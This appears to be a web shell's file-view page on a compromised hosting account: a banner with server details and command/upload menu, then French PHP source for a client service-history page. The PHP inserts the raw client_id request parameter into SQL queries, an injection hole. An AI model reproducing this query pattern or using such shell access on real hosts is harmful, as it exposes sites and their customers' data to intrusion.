|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/www/../../MC/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once 'code/init.php';
print_header (array(),'','style="margin:5px 10px 5px 10px; padding:5px 10px 5px 10px; border:solid 1px #9E9E9E;"');
$month = date('m')-6;
$year = date('Y') ;
$from = sprintf("%04d%02d%02d", $year, $month, 1) ;
if ($month < 1)
{
$month += 12 ;
$year -- ;
}
?>
<div class="onglet_dotted">
<h1>Historique des prestations</h1>
<table width="100%">
<tr>
<td width="50%" valign="top">
<?php
$q = dbi_query("SELECT * FROM ".TABLE_PREST." WHERE client_id=".$_GET['client_id']." AND presta_recur = '1' AND agence_id=$agence ORDER BY presta_jour DESC") ;
$sem = array ('Dimanche', 'Lundi', 'Mardi', 'Mercredi', 'Jeudi', 'Vendredi', 'Samedi') ;
//error_reporting(E_ALL);
$print_p_r = (mysqli_num_rows($q)>0);
if ($print_p_r) {
?>
<h2 align="center">Récurrentes</h2>
<fieldset>
<?
}
while ($p = dbi_fetch_row($q))
{
$date = get_occurence($p['presta_id'], 0, $from) ;
$mois = int2date($date['date'], 'm') ;
$last = 0 ;
$offset = 0 ;
$annule = dbi_query("SELECT * FROM ".TABLE_EXCEPT." WHERE new_presta_id is null AND en_cours='1' AND presta_id=".$p['presta_id']." order by date Desc");
$a = dbi_fetch_row($annule) ;
if ($a !== false)
$mois = max($mois, int2date($a['date'], 'm'));
//printf (" %s>%04d%02d%02d", $p['presta_id'], $year, $month, 1);
if($date && $date['date'] <= date("Ymd"))
{
printf ('<fieldset><legend>%s</legend>', $sem[strpos($p['presta_jour'], 'y')]) ;
while($date && $date['date'] <= date("Ymd"))
{
while($a !== false && $a['date'] > $date['date'])
{
if ($mois != int2date($date['date'], 'm'))
echo "<hr>";
printf("%s annulée<br>", int2date($a['date'])) ;
$mois = int2date($a['date'], 'm') ;
$a = dbi_fetch_row($annule) ;
}
if ($mois != int2date($date['date'], 'm'))
echo "<hr>";
printf("%s à %s<br>", int2date($date['date']), int2heure($date['deb'])) ;
if($last == $date['date'])
$offset ++ ;
else
$offset = 0 ;
$last = $date['date'] ;
$mois = int2date($date['date'], 'm') ;
$date = get_occurence($p['presta_id'], 1+$offset, $date['date']) ;
}
while($a !== false && $a['date'] > $date['date'])
{
if ($mois != int2date($date['date'], 'm'))
echo "<hr>";
printf("%s annulée<br>", int2date($a['date'])) ;
$mois = int2date($a['date'], 'm') ;
$a = dbi_fetch_row($annule) ;
}
echo '</fieldset>' ;
}
}
if ($print_p_r) {
?>
</fieldset>
<?
}
?>
</td>
<td width="50%" valign="top">
<?php
$q = dbi_query("SELECT * FROM ".TABLE_PREST." WHERE client_id=".$_GET['client_id']." AND agence_id=$agence AND presta_recur = '' AND presta_id NOT IN (SELECT new_presta_id FROM ".TABLE_EXCEPT." WHERE new_presta_id is not NULL) ORDER BY presta_date_debut DESC, presta_Hdeb DESC") ;
$print_p = (mysqli_num_rows($q)>0);
if ($print_p) {
?>
<h2 align="center">Prestations ponctuelles</h2>
<fieldset>
<?
}
while ($p = dbi_fetch_row($q)) {
$date = get_occurence($p['presta_id'], -1);
printf('<a href="top.php?page=aac2&link=client&id=%d&presta_id=%d">Le %s de %s à %s</a><br>', $_GET['client_id'], $p['presta_id'], int2date($date['date']), int2heure($p['presta_Hdeb']), int2heure(addDuree($p['presta_Hdeb'], $p['presta_Hduree']))) ;
}
if ($print_p) {
?>
</fieldset>
<?
}
?>
</td>
</tr>
</table>
<? if (!$print_p && !$print_p_r) echo '<h2 align="center">Aucune prestation effectuée</h2>'; ?>
</div>
</body>
</html>